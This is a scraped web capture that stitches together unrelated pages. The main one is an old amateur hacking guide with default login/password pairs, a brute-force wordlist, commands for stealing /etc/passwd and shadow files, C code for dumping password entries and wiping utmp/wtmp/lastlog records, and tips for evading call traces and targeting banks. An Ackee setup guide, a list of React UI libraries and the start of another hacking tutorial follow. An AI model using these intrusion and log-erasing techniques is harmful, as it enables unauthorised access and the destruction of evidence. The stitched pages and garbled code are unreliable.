login: uucp pw: uucp
login: tty pw: tty
login: test pw: test
login: unix pw: unix
login: unix pw: test
login: bin pw: bin
login: adm pw: adm
login: adm pw: admin
login: admin pw: admin
login: sysman pw: sysman
login: sysman pw: sys
login: sysman pw: system
login: sysadmin pw: sysadmin
login: sysadmin pw: system
login: sysadmin pw: sys
login: sysadmin pw: admin
login: sysadmin pw: adm
login: who pw: who
login: learn pw: learn
login: uuhost pw: uuhost
login: guest pw: guest
login: host pw: host
login: nuucp pw: nuucp
login: rje pw: rje
login: games pw: games
login: games pw: player
login: sysop pw: sysop
login: demo pw: demo

    When these defaults don't work, you will have to use brute force hacking which you will 

learn later on. What you will do is use the default for your login name, then use the list of
passwords. For example:

login: sysadmin
password:(every password in the list)

    If sysadmin didn't work move to the next default and use every password, then to the next

etc. Here is the list of defaults to use:

adm
admin
ann
anon
anonymous/anonymous
backup
batch
bin
checkfsys
daemon
demo
diag
field
ftp
games
guest/guest guest/anonymous
help
install
listen
lp
lpadmin
maint
makefsys
mountfsys
network
news
nobody
nuucp
nuucpa
operator
powerdown
printer
pub
public
reboot
rje
rlogin
root
sa
setup
shutdown
startup
sync
sys/sys
sysadm
sysadmin
sysbin/sysbin sysbin/bin
sysman
system
tech
test
trouble
tty
umountfsys
user/user user1/user1
uucp
uucpa
visitor

    Once you are in, save the account to a floppy. To access the password file on UNIX, 

type in this command:

etc/passwd

    Now download the password file. This can be done by typing "d". If you type in this 

command and nothing shows up, try typing in "cat_/etc/passwd". If that doesn't work, then the
UNIX system might not have what is called a shell account. In that case, move on to a new
system. Ok, If you got the passwd file downloaded, take it to your cracker and crack it. If you
have trouble cracking it, make sure that you typed in the right dictionary (puffs.dic) and the
file of the passwd. Now look at one of the accounts, it will probably have a list of words that
could be the password. Try every word that it gives you, one of the words will definitely work!
Now finally log on as that user and change his password. Well, you've done it! You own the
account. If you want to go a little further, look for the password on the "sysadmin and root".
You would login like this:

login:root
password:(password)

login:sysadmin
password:(password)

    I hope that that helps you out. Remember, if you logon as the superuser (root), you have

total command over the whole system. So act normal and if anyone tries to talk to you, act like
you would if you were the sysop (system administrator), and NEVER manipulate files!

NOTE! This is what a passwd file will look like when you get it:

John:234abc56:9999:13:John_Johnson:/home/dir/John:/bin/John.

Here is what it is broken down:

Username: John
Encrypted password: 234abc56
User # 9999
Group# 13
Other information: John Johnson
Home directory: /home/dir/John
Shell:/bin/John

Chapter12: Password Shadowing

    Unfortunately, today most all UNIX systems have what is called password shadowing. It is

a type of security that the admins use to keep hackers out. The password is still encrypted but
you can't see the encrypted passwords. Here are Three ways that I have heard of to get around
this. The first one is simple, you find the shadowed passwords in a different directory. I will
name the system, you type in what is on the right. That will enable you (hopefully to find the
encrypted passwords)but first, here is how you can identify a shadowed password. Look at this
list and notice how there is either a * or an X in the passwords place:

root::0:3:::
ftp:
:500:19:::
aolbeta::295:20:::
macbeta:
:297:20:::
atropos:*:228:20:::

    In this case the * was in place for the encrypted password. Here is a sample of the other 

type I have seen:

Cougar:X:5:9987:/home/dir/bin

    Now to defeat this here is the first way:

UNIX Path Token
-----------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow X
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow X
Linux1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow X
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

    Here is the second way. This is more confusing because you need to understand what a 

loop is. I got this out of the Library section of the HackerZ Hideout. So you can look in there
too if you want :)

    This trick will only work with certain systems. Notice how the loop works. It is very 

important to the hacker. If you can find anything on loops, read it! It is great knowledge to
have,but even I have trouble understanding it. Once you are in a Unix system, and of course,
the passwd file is shadowed, try typing in "ypcat /etc/passwd >~/passwd"instead of"etc/passwd".
Now download the passwd file from your home dir. Here is the trick, type in:

rm -f ~/.lastlogin

ln -s ~/.lastlogin /etc/passwd

Now logout and then back in so that you create a link.

cat .lastlogin > passwd
rm -f ~/.lastlogin

    That way is a little tricky, but read up on loops and maybe it will work out for you. 

Here is the third and final trick. It is probably the best way because supposedly, it works
with everything. What you will do is write a C-script. For those of you who don't know what a
C-script is, it is a program that you write out in the C language Such as C++. You can get C++
at the store or ask around to warez pups. They should have it. What you will do is write it out.
Then what you will have to do is go and compile it. It shouldn't be to hard. Anyway, here is
the script:

struct SHADOWPW { /* see getpwent(3) */
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
};
struct passwd *getpwent(), *getpwuid(), *getpwnam();

#ifdef elxsis?

/* Name of the shadow password file. Contains password and aging info*

#define SHADOW "/etc/shadowpw"
#define SHADOWPW_PAG "/etc/shadowpw.pag"
#define SHADOWPW_DIR "/etc/shadowpw.dir"
/*
* Shadow password file pwd->pw_gecos field contains:
*
* ,,<last_time>,<old_time>,<old_password>
*
* = Type of password criteria to enforce (type int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT (1), strong passwords.
* = Password aging period (type long).
* 0, no aging.
* else, number of seconds in aging period.
* <last_time> = Time (seconds from epoch) of the last password
* change (type long).
* 0, never changed.n
* <old_time> =Time (seconds from ephoch) That the current password
* Was made the <old_password> (type long).
* 0, never changed.ewromsinm
* <old_password> = Password (encrypted) saved for an aging t
* prevent reuse during that period (type char [20]).
* "*******", no <old_password>.
*/

/* number o tries to change an aged password */

#deffine CHANGE_TRIES 3

/* program to execute to change passwords */

#define PASSWD_PROG "/bin/passwd"

/* Name of the password aging exempt user names and max number of entir

#define EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100

/* Password criteria to enforce */

#define BSD_CRIT 0 /* Normal BSD password criteria /
#define STR_CRIT 1 /
Strong password criteria */
#define MAX_CRIT 1
#endif elxsi
#define NULL 0
main()
{
struct passwd *p;
int i;
for (;1;) {;
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}

printpw(a)
struct SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}

/* SunOS 5.0 /etc/shadow */
/* SunOS4.1+c2 /etc/security/passwd.adjunct */

Chapter13: Dial outs

    A NUA can sometimes connect you to what is called an outdial. An outdial is a modem that

you can get to through the NUA. A good use for this is to use a scanner and dial every # from
0000-9999 on a 3-digit prefix in your area for a list of computers you can hack into. You can
also hack them through this outdail. More on scanning later. Another great use for outdials is
to dial up long-distance BBS #'s or other telenet #'s or any # of things you can think of! Also
it is much harder and more expensive to trace a call if you are using an outdial. It will be
traced to the system.

     A thing that you should do before you even attempt to dial out a number is the redial 

command. This is because it will dial out the number that was dialed just before and is an
excellent way to find new systems to hack:). Also, on a ventel modem, type "d" and it will list
5 modem numbers in its memory that you can connect to! So I guess right now you're saying,
"Well, how do I find one of these outdials?"Well, you will need to find a system called a,
"Decserver". What I would recommend is to get a list of NUA's from somebody or a magazine such
as phrack#21, or 2600. They should have a list of them in there.

Chapter 14: Scanners

    A scanner is a program that will dial every # in a 3-digit prefix from 0000-9999. For 

example:

My telephone number is 898-3788 (yeah right) so if I thought my school was in the 898 area, I
would put in "898" for the 3-digit prefix and set it to dial every number from 0000-9999. Using
898 in the front o each number, I am certain to find the number that my school modem is at and
every other modem that will connect me to a system. Just make sure that you either dial *67 if
it asks you for a certain code thing so that your calls cannot be traced or just use an outdial.

Note! A good thing to do whenever you hack is to either use a converter or a modem jammer.
This will also prevent your calls from being traced :)

Chapter 15: Brute force hacking

    Brute force hacking is a method made for systems that don't keep track of you trying to 

login such as UNIX. You will notice that on some UNIX boxes that the default will not
work. It can be very frustrating! This method approaches the system by typing the default in
where it ask you to login and use this whole list of words for passwords. You have to do it
over and over again. It will take a long time, but every hacker must be patient. An example
of what I am saying is doing something like this:

login: sysadmin
password: aaa
login incorrect
login: sysadmin
password: academia etc.

    I am not sure how you would make a program that can make brute force hacking a lot easier, 

but I am sure that there is a way and if you look around on the web a little bit, I am sure
that you would be able to find the C-script. So just search around a little bit.

    As you see, it takes a lot of work. You will have to do this for each default, so just

be patient. Most of these passwords come from LOD. I put a few in there but not nearly as many
as them.

------------------------------------------------------------
Brute force hacking
------------------------------------------------------------

aaa
academia
ada
adrian
aerobics
daniel
danny
dave
deb
debbie
jester
johnny
joseph
joshua
judith
rascal
really
rebecca
remote
rick
airplane
albany
albatross
albert
alex
alexander
algebra
alias
alpha
alphabet
ama
amy
analog
anchor
andy
andrea
animal
answer
anything
arrow
arthur
asshole
athena
atmosphere
attention
aligator
alpine
altitude
billy
bacchus
badass
bailey
anana
bandit
banks
bass
batman
beauty
beaver
beethoven
beloved
benz
beowulf
berkeley
berlin
beta
beverly
bob
brenda
brian
bridget
broadway
bumbling
bubbles
buger
belt
bitch
basturd
bee
butt
bust
bib
cardinal
carmen
carolina
caroline
castle
cat
celtics
change
charles
charming
charon
chester
celebrate
cattle
cadabra
chilly
chelsey
cucumber
deborah
december
desperate
develop
diet
digital
discovery
disney
dog
drought
duncan
dudu
dust
dimple
dip
doodle
dildo
dic
disaster
damn
dig
dug
easy
eatme
edges
edwin
egghead
eileen
einstein
elephant
elizabeth
ellen
emerald
engine
engineer
enterprise
enzyme
euclid
evelyn
extension
fairway
felicia
fender
fermat
finite
flower
foolproof
football
format
forsythe
fourier
fred
friend
frighten
fun
fagot
fumble
fabulous
fix
fiddle
finger
gabriel
garfield
gauss
george
gertrude
gibson
ginger
gnu
gol
golffer
gorgeous
graham
gryphon
guest
guitar
gilbert
hacker
hug
halarius
hell
heep
hip
hop
hope
humble
hill
head
hello
heck
huddle
ireland
juggle
julia
kathleen
kermit
kernel
knight
kathy
lambda
larry
lazarus
lee
leroy
lewis
light
lisa
louis
lynne
list
limp
mac
macintosh
mack
maggot
magic
malcolm
mark
marck
marc
markus
marty
marvin
master
maurice
merlin
mets
michael
ichelle
mike
minimum
minsky
mogul
moose
mozart
nancy
napoleon
network
newton
next
olivia
oracle
orca
orwell
osiris
outlaw
oxford
paciic
painless
pam
paper
password
pat
patricia
penguin
pete
peter
reagan
robot
robotics
rolex
ronald
rosebud
rosemary
roses
ruben
rules
ruth
sal
saxon
scheme
scott
scotty
secret
sensor
serenity
sex
shark
sharon
shit
shiva
shuttle
simon
simple
singer
single
smile
smiles
smooch
smother
snatch
snoopy
soap
socrates
spit
spring
subway
success
summer
super
support
surfer
suzanne
tangerine
tape
target
taylor
telephone
thomas
temptation
tiger
toggle
tomato
toyota
trivial
theresa
unhappy
unicorn
unknown
cigar
classic
cofee
harmony
harold
harvey
philip
phoenix
pierre
urchin
utility
vicky
coke
collins
comrade
computer
condo
condom
cookie
cooper
create
creation
creator
cretin
daemon
dancer
heinlein
hello
help
herbert
honey
horse
imperial
include
ingres
innocuous
irishman
isis
japan
jessica
pizza
plover
polynomial
praise
prelude
prince
protect
pumpkin
puppet
rabbit
rachmaninoff
rainbow
raindrop
random
virinia
virgin
warren
water
weenie
whatnot
whitney
will
william
willie
winston
wizard
wombat
yosemite
zap
------------------------------------------------------------

    Well, like I said, I added a couple words in there, maybe 20 or so, but most of these 

come from LOD. In my next book, I will keep every UNIX password I get and have my own password
list.

Chapter 16: C-script for erasing your logins

    Well, if you want to really be secure, this is one of the best ways! There might be some

ways that you could think of typing in to erase it but it won't work. Only a program can erase
your logins. Aren't programs great:) I already told you what a C-script is so just copy this or
type it in in your C program and then compile it.

------------------------------------------------------------

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,_RDWR))>=0) {
while(read (f, &utmp_ent,
sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));

               }
     close(f);

}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP\_NAME,O\_RDWR))>=0) {

    while(pos != -1L) {
       lseek(f,-(long)( (sizeof(struct utmp)) *pos),L_XTND);
       if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
            pos = -1L;
       } else {
            if (!strncmp(utmp\_ent.ut\_name,who,strlen(who))) {
                    bzero((char *)&utmp_ent,sizeof(struct utmp ));
                    lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                    write (f, utmp\_ent, sizeof (utmp\_ent));
                    pos = -1L;
            } else pos += 1L;
        }
     }
     close(f);

}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

    if ((pwd=getpwnam(who))!=NULL) {

       if ((f=open(LASTLOG\_NAME, O\_RDWR)) >=0) {
              lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
              bzero((char *)&newll,sizeof( newll ));
              close(f);
       }

 } else printf("%s: ?/n",who);

}

mai(argc,argv)
int argc;
char *argv[];
{
if (argc--2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!/n");
} else
printf("Error./n");
}
------------------------------------------------------------

    Well, that is an excellent way to keep yourself safe. I would highly recomend it!

Chapter 17: Keeping yourself safe

    Well, the things that you will mostly need are up at the front in the list that I gave 

you of stuff that you will need. What I would recommend is to:

1.) encrypt your hard drive
2.) use a modem jammer before you even get onto telenet
3.) first find yourself an outdial, then dial up another number that you are interested in
hacking or dial up into another telenet number and connect onto there and hack some NUA's from
there.
4.) Don't brag to anyone! about you hacking any systems.
5.) Never Hack Government systems unless you know what the hell your doing and plan on moving.

    If you pretty much do that, I would say that you should be safe.

Chapter 18: NUA's that I have found

    Unfortunately Almost all of the NUA's that I have found are government systems. There are

a few that seem like they might be pretty cool, but make sure that you know what you are doing!

    NUA                             TIPS

    201 156                 A UNIX system! excelent to start out
                                    with but the problem is that it is 
                                    for more experienced UNIX hackers.
    
    90155                   ?

    2241                            It will say"DTE". Seems to be a bank 
                                    up in main.

    22417                   Government system, leave it alone!

    22425                   ?

    2236                            Gives you a "<"prompt. tell it 
                                    anything, when you go to login,
                                    it will ask for a transaction ID.

    3215                            NASA, LEAVE IT ALONE!!!!!!!!

    22430                   Bank in Athens Greece. Looks very 
                                    interesting!

    201170                  asks you to enter a command

    201179                  asks you for an application

    201200                  Not sure, wouldn't take a chance

    201201                  same as 201200

    202255                  type "help" then choose your terminal
                                    type. I wouldn't take any chances
                                    though, looks a little tight on 
                                    security.

Chapter 19: Conclusion

Thanx to:

1.) LOD
2.) The HackerZ Hideout
3.) Every hacker that helped me out
4.) My parents for putting up with me and not getting to mad for taking out effort in school.
5.) And all my friends that let me skip band practice :)

    If you wish to contact me at anytime,write to my E-mail [address:[email protected]](http://address:[email protected] "Linkify Plus Plus")

    This book was intended for newbies. I am stuck between being an intelligent hacker and

newbie, but as soon as I get some books on some newer systems and learn how they work, I will
be putting in all the defaults and helpful commands. It wont have as much newbie material, it
will be for more experienced hackers. I hope this file has helped you with all of your hacking
needs. When I was a newbie there wasn't to many things to look at, it was all trial and error.
It still will be for you, but you have a better idea of what hacking is like. All I recommend
for you to do now is to read more books.

set Restriction

Add Tags ?

AddDeleteNo

close

close

Ackee/Get started.md at master · electerious/Ackee

       Ackee/Get started.md at master · electerious/Ackee                                       



Skip to content

![](https://github.githubassets.com/images/search-key-slash.svg)
  • In this repository All GitHub ↵

    Jump to ↵

  • No suggested jump to results

  • In this repository All GitHub ↵

    Jump to ↵

  • In this repository All GitHub ↵

    Jump to ↵

Dashboard Pull requests Issues

Marketplace

Explore
tg-z

Sign out

electerious / Ackee

New repository Import repository New gist New organization

This repository

New issue

Signed in as tg-z

lost

Edit status

Could not update your status, please try again.

80 remaining

Suggestions:

🌴

On vacation

🤒

Out sick

🏠

Working from home

🎯

Focusing

Busy

When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability.

Clear status

Never

  • Never

    Keep this status until you clear your status or edit your status.

  • in 30 minutes

  • in 1 hour

  • in 4 hours

  • today

  • this week

Set status Clear status

Your profile Your repositories Your projects Your stars Your gists

Help Settings

Sign out

  • done In Queue

  • bookmark Bookmarked

  •     Watch   
    

    Notifications

    Not watching Be notified only when participating or @mentioned. Watch

    Releases only Be notified of new releases, and when participating or @mentioned. Unwatch releases

    Watching Be notified of all conversations. Unwatch

    Ignoring Never be notified. Stop ignoring

    20

  •   Unstar  [768](/electerious/Ackee/stargazers) 
    
      Star  [768](/electerious/Ackee/stargazers) 
    
  •  Fork
    

    32

electerious/Ackee

Code Issues 8 Pull requests 0 Actions Security Insights

Code Issues 8 Pull requests 0 Security Pulse Community

Permalink

Branch: master

Find file Copy path

Ackee/docs/Get started.md

Find file Copy path


electerious Require current LTS Node version b4dadbb 16 days ago

1 contributor

Users who have contributed to this file

127 lines (79 sloc) 4.15 KB

Raw Blame History

Get started

Requirements

Ackee dependents on …

Make sure to install and update all dependencies before you fork and setup Ackee.

Setup

With Docker Compose

1. Create the configuration

Create a .env file in the root of this project to store all environment variables in one file.

USERNAME=username
PASSWORD=password

The README contains a detailed explanation of all available options, but only those two are required to run Ackee with the existing docker-compose.yml.

2. Run Ackee

Run this command in the root of the project to use the predefined docker-compose.yml. It contains everything you need, including MongoDB and Ackee.

docker-compose up

💡 Add the -d flag to the Docker command to run the services in the background.

3. Open Ackee

Ackee will output the URL it's listening on once the server is running. Visit the URL with your browser and complete the finial steps using the interface.

With Docker

1. Setup MongoDB

Ackee requires a running MongoDB instance. The easiest way to install MongoDB is by using Docker. Skip this step if you have MongoDB installed or visit the website of MongoDB for alternative setups.

docker run -p 27017:27017 --name mongo mongo

For persistent storage, mount a host directory to the container directory /data/db, which is identified as a potential mount point in the mongo Dockerfile. When starting a new container, Docker will use the volume of the previous container and copy it to the new container, ensuring that no data gets lost.

docker run -p 27017:27017 -v /path/to/local/folder:/data/db --name mongo mongo

💡 Add the -d flag to the Docker command to run MongoDB in the background.

Explanation:

  • -p makes port 27017 available at port 27017 on the host
  • -v mounts /path/to/local/folder to /data/db of the container
  • --name sets the container name to mongo
  • mongo is the name of the image

2. Run Ackee

docker run -p 3000:3000 -e MONGODB='mongodb://mongo:27017/ackee' -e USERNAME='username' -e PASSWORD='password' --link mongo --name ackee electerious/ackee

💡 Add the -d flag to the Docker command to run Ackee in the background.

Explanation:

  • -p makes port 3000 available at port 3000 on the host
  • -e sets environment variables required by Ackee
  • --link links Ackee with the mongo container
  • --name sets the container name to ackee
  • electerious/ackee is the name of the image

3. Open Ackee

Ackee will output the URL it's listening on once the server is running. Visit the URL with your browser and complete the finial steps using the interface.

Without Docker

1. Setup MongoDB

Ackee requires a running MongoDB instance. Visit the website of MongoDB for installation instructions.

2. Create the configuration

Configure Ackee using environment variables or create a .env file in the root of the project to store all variables in one file.

MONGODB=mongodb://localhost:27017/ackee
USERNAME=username
PASSWORD=password

The README contains a detailed explanation of all available options, but only those three are required to run Ackee.

The MongoDB connection string is used to connect to your MongoDB. It should also contain the username and password of your MongoDB instance when required.

The username and password variables are used to secure your Ackee interface/API.

3. Install Ackee

Install all required dependencies.

yarn

4. Run Ackee

Ackee will output the URL it's listening on once the server is running. Visit the URL with your browser and complete the finial steps using the interface.

yarn start

Go

You can’t perform that action at this time.

set Restriction

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.

navigate_next

close

_close_Close

_open_in_new_Open in new tab

Add Tags ?

articles

blockstack

bookmarks

dapp

github

interesting

learn

music

paste

swedish

AddDeleteNo

close

close

Add Tags ?

AddDeleteNo

close

close

23 Best React UI Component Libraries And Frameworks - By

 23 Best React UI Component Libraries And Frameworks - By             set Restriction  


Subscribe

Crypto / Blockchain Coding A.I. Futurism Startups About Podcast Community

Get Help

Start Writing

Sponsors

Effect of Tech

Framing Realities

Startups Advice

FAAGM

Podcast

Engineering

Languages

Security

Artificial Intelligence

Browse by Category

Top Discussions

Crypto

Blockchain


Find your next job with Indeed Prime #Sponsor
The Noonies : Tech's Greenest Awards #Advocate

Jonathan Saring

@JonathanSaring

23 Best React UI Component Libraries And Frameworks

April 3rd 2018

Tweet This

A curated summary of part 1 and part 2 of Best React Component Libraries for 2019.

Learn more:

According to the Stack Overflow survey React grew in popularity by almost 150% from 2017 to 2018. This isn’t really surprising, and among other things is happening thanks to its growing component-based ecosystem.

Some prefer libraries, others to develop their own components (see tools for component workflow mastery). Either way, here is the full list of some of the best 23 UI component libraries and frameworks out there, with a bonus at the end. Note that the list isn’t ranked, but brought as a useful resource. Enjoy.

You can also combine these libraries with Bit, to make each component individually available to discover, share and use without the library.


Every component becomes available to discover, try hands-on in a live playground, and install in your projects using NPM and Yarn. You can even develop components from multiple projects and sync changes between them.


Bit (GitHub) can be used to discover and share components from any open source library, or for your team’s components, so feel free to give it a try.

Find more components from popular React libraries:

Discover Collections · Bit
_Discover over 21 component collections for JavaScript libraries and projects. Find and use popular components from the…_bit.dev

1. Material-UI

React components that implement Google’s Material Design. At over 45k Stars (!), it’s the most popular and widely used React UI library on GitHub.

Material UI Grid-List component

GitHub repo:

mui-org/material-ui
_React components for faster and easier web development. Build your own design system, or start with Material Design. …_github.com

Individual components collection:

material-ui by mui-org · Bit
_React components that implement Google’s Material Design. — 115 Javascript components. Examples: tab , tooltip …_bit.dev


2. React Bootstrap

Bootstrap 3 components built with React. At 16k stars, this library remains popular and useful even though we are still waiting for bootstrap 4 support.

React bootstrap buttons

GitHub repo:

react-bootstrap/react-bootstrap
_Bootstrap components built with React. Contribute to react-bootstrap/react-bootstrap development by creating an account…_github.com

Individual components collection:

react-bootstrap by react-bootstrap · Bit
_Bootstrap components built with React — 92 Javascript components. Examples: button-group , alert , modal , navbar …_bit.dev


3. Grommet

Beautiful React UI component which focus on essential experience. At over 5k stars, these components take pride in their simple yet beautiful design.

React Grommet buttons

GitHub repo:

grommet/grommet
_a react-based framework that provides accessibility, modularity, responsiveness, and theming in a tidy package …_github.com

Individual components collection:

grommet by grommet · Bit
_a react-based framework that provides accessibility, modularity, responsiveness, and theming in a tidy package. - 73…_bit.dev


4. Ant Design React

Popular React components following the Ant design guidelines and specifications, written in typescript and supporting a rich workflow.

Ant design components

5. Blueprint

A React-based UI toolkit for the web with over 9K stars and 100 contributors. Components are written in TS and styled with Sass for rapid development.

Blueprint React components

6. Reactstrap

This library provides simple React bootstrap 4 components. With over 4k stars and nearly 100 contributors, it’s a widely popular option for bootstrap fans.

Reactstrap buttons

7. React Toolbox

React Toolbox is a set of React components that implements Google Material Design. It’s built on top of some the trendiest proposals like CSS Modules (written in SASS), Webpack and ES6. At nearly 8K starts it’s very popular.

React Toolbox components- docs have a live playground!

8. React Desktop

A UI component library which aims to bring a native desktop experience to the web, featuring many macOS Sierra and Windows 10 components.

React Desktop Window Component

9. Semantic UI

Semantic UI React is the official React integration for Semantic UI. With 6.5K stars it’s used by Netflix, Amazon and other great organizations.

React Semantic-UI Dimmer component

GitHub repo:

Semantic-Org/Semantic-UI-React
_The official Semantic-UI-React integration. Contribute to Semantic-Org/Semantic-UI-React development by creating an…_github.com

Individual components collection:

semantic-ui-react by semantic-org · Bit
_The official Semantic-UI-React integration — 76 Javascript components. Examples: button , dimmer , text-area , table …_bit.dev


10. Onsen UI React

More than 100 components are specially made for Material and Flat design bringing together the Onsen UI framework and React to build hybrid apps.

Onsen UI React components

11. Rebass

React UI component library & design system, built with styled-components and styled-system. With nearly 4k stars it’s a great choice for Styled-components fans.

Rebass React UI components

12. Elemental UI

An experimental UI Toolkit for React.js Websites and Apps with 4k stars and currently developed by the authors of Keystone.js at the Thinkmill.

Elemental UI modal component

13. Belle

A set of React components optimized for mobile & desktop with highly customizable styles which can be configured on the base level as well individually for each one of them.

React belle components

14. Prime React

At over 1000 stars, we love this project which provides a rich and unique selection of over 70 UI components with multiple themes. Take a look!


A Primereact Chart component with Bit: play and install

GitHub repo:

primefaces/primereact
_PrimeReact is a collection of rich UI components for React - primefaces/primereact_github.com

Individual components collection:

primereact by primefaces · Bit
_PrimeReact is a collection of rich UI components for React. - 73 Javascript components. Examples: chart , inputtext …_bit.dev


15. Atlaskit

Atlasssian’s official React UI kit is the technical implementation of the Atlassian Design Guidelines (ADG). Each is even its own package.

Atlaskit Multi-select React component

16. Fabric

A set of React components for building experiences for Office and Office 365, written in Typescript. At over 2.5K stars it’s worth checking out (quick-start).

Fabric Nav-Bar React Component

17. Carbon Components

React components according to IBM’s Carbon design system. You can also try them online with CodeSandBox.

18. Khan React Components

These somehow almost unnoticed components are Khan’s academy’s React UI components released to the community reaching nearly 1k stars.

Khan’s blur-input React component

19. Gestalt by Pinterest

This upcoming library is Pinterest’s design studio meticulous set of React UI building blocks used to sync and raise the bar among Pinterest’s teams.

Gestalt React search-filed component

20. Material Components Web

Developed by a team of engineers and designers at Google, this library replaced react-mdl, already reaching nearly 7k stars. Check it out.

Material-web components

21. React MD

A beautiful and highly recommended kit for building a web app with Google’s Material Design with very highly customizable themes and styling (Sass).

React-MD subheaders component

22. React Foundation

In very active development this project wraps parts of Foundation as React components, and takes pride in simplicity and high coverage. Very nice.

Foundation’s button component with React

GitHub repo:

digiaonline/react-foundation
_Foundation as React components. Contribute to digiaonline/react-foundation development by creating an account on…_github.com

Individual components collection:

primereact by primefaces · Bit
_PrimeReact is a collection of rich UI components for React. - 73 Javascript components. Examples: chart , inputtext …_bit.dev


23. React Virtualized

Pretty much the perfect set of React components for virtualizing large data sets. With nearly 10k stars it is popular as it is useful.

React virtualized components

+5 Bonus ✨

Sadly, most of them aren’t actively maintained. Still worth checking out.

* React UWP

Microsoft’s UWP design with React.

* Amaze UI React

a React implementation for the china’s popular Amaze-UI cross-platform framework.

* UXCore

React components for enterprise back-end data apps.

* Zent

A beautiful under-the-radar Chinese React UI library.

* Halogen

Loaders and spinners only.

* React bootstrap with material design

Material Design for Bootstrap 4 — React version.

mdbootstrap/React-Bootstrap-with-Material-Design
_React-Bootstrap-with-Material-Design - React Bootstrap with Material Design_github.com

* react-selectrix

A beautiful, materialized and flexible React Select control.

stratos-vetsos/react-selectrix
_react-selectrix - A beautiful, materialized and flexible React Select control_github.com

* react-materialize

react-materialize/react-materialize
_Material design for react, powered by materializecss - react-materialize/react-materialize_github.com

Not using libraries?

Adding entire libraries can be a burden and make it hard to change stuff on the fly. So, Individual components can be found in Awesome React and Awesome React components as well as here. Hope you enjoyed!

Learn more

Atomic Design With React And Bit: Simplify a Complex UI
_Simplify a complex UI using Atomic Design with React + Bit._blog.bitsrc.io

5 Tools For Faster Development In React
_5 tools to speed the development of your React application, focusing on components._blog.bitsrc.io

How To Share React UI Components Between Projects And Apps
_How to easily share and sync your React UI components between all your team’s projects and applications with Bit._blog.bitsrc.io

React Ui React Ui Component React Ui Frameworks React Ui

Continue the discussion

More by Jonathan Saring

[

](https://hackernoon.com/21-top-vue-js-ui-libraries-for-your-app-4556e5a9060e)

21 Top Vue.js UI Libraries For Your App

Jonathan Saring

Jun 20

Javascript

[

](https://hackernoon.com/4-ways-to-go-monorepo-in-2019-ea5d19fc1f08)

4 Ways to Go Monorepo in 2019

Jonathan Saring

Mar 11

Javascript

[

](https://hackernoon.com/5-practical-ways-to-share-code-from-npm-to-lerna-and-bit-732f2a4db512)

5 Practical Ways To Share Code: From NPM To Lerna, Git Submodules and Bit

Jonathan Saring

Javascript

[

](https://hackernoon.com/7-frontend-javascript-trends-and-tools-you-should-know-for-2020-fb1476e41083)

7 FrontEnd JavaScript Trends and Tools You Should Know for 2020

Jonathan Saring

Jun 04

Web Development

[

](https://hackernoon.com/how-to-easily-share-reusable-modules-in-node-js-at-scale-daaab9f0f41d)

How to Easily Share Reusable Modules in Node.js- at Scale

Jonathan Saring

Javascript

Hackernoon Newsletter curates great stories by real tech professionals

Get solid gold sent to your inbox. Every week!

Topics of interest

  • Software Development
  • Blockchain Crypto
  • General Tech
  • Best of Hacker Noon

More Related Stories

[

](https://hackernoon.com/10-react-js-articles-every-web-developer-should-read-f5b745a348dc)

10 React JS Articles Every Web Developer Should Read

javinpaul

Oct 05

React

[

](https://hackernoon.com/10-good-rules-for-bad-app-eb187b148e21)

10 good rules for bad App

Shem Magnezi

Android App Development


Help About Start Writing Sponsor: Brand-as-Author Sitewide Billboard

Contact Us Privacy Terms

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/hacking/basihack.txt

An introduction to hacking
--------------------------

This is a brief tutorial designed to show you how to get started with
hacking. It is not an in depth analysis of Unix and I will not show you how
to hack specific systems or give you any specific usernames or passwords.
Anything that you do after reading this file is NOT my responsibility, so
don't expect me to write to you in jail if you get caught. If you are an
advanced hacker, then I suggest you give this a miss as it's designed for
beginners...

Section 1 : What exactly is a hacker then?

Tricky one really. There are hundreds of definitions floating around, but
the basic description of a hacker would be someone who accesses and uses a
computer system in ways which a normal user might not think of. This may be
legal, but chances are that it will be illegal. Also, many hackers might not
consider you to be one of them unless you have the hacker attitude.
Basically what this means is that you have a certain view over the way in
which things should be done. For example, nearly all hackers are anti
authoritarian. Another thing which you really should do is give voluntry
help to other hackers. This may be in the form of debugging programs that
